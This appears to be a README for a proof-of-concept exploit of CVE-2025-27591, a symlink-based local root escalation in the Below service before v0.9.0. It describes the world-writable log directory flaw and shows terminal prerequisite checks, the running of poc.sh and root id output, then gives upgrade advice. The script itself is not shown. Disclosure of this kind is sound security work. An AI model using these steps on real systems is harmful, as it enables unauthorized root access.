
A Proof of Concept for CVE-2025-27591, a local privilege escalation in Below < v0.9.0
Proof of Concept for CVE-2025-27591, a vulnerability that allows to local unprivileged users to escalate their privileges to root through symlink attacks.
The vulnerability affects the Below service (versions prior to v0.9.0). It creates a /var/log/below directory with world-writable permissions (0777), allowing unprivileged local users to relocate symbolic links and manipulate critical files such as /etc/shadow, resulting in escalation to root.
A local, unprivileged user can escalate to root by:
/var/log/below/ must have world-writable permissions (0777) and contain the error_root.log file.foo@victim:~$ ls -l /var/log/ | grep below
drwxrwxrwx 3 root root 4096 Jul 8 20:45 below
We will need privileges at the sudoers level.
foo@victim:~$ sudo -l
Matching Defaults entries for jacob on victim:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User foo may run the following commands on victim:
(ALL : ALL) NOPASSWD: /usr/bin/below
Once we have the poc.sh file, we will give it the necessary permissions, execute it, and we'll be root.
foo@victim:/tmp$ chmod +x poc.sh
foo@victim:/tmp$ ./poc.sh
evil@victim:/tmp# id
uid=0(evil) gid=0(root) groups=0(root)
Upgrade to Below v0.9.0 or later, which removes the insecure chmod logic and relies on systemd unit features like LogsDirectory=below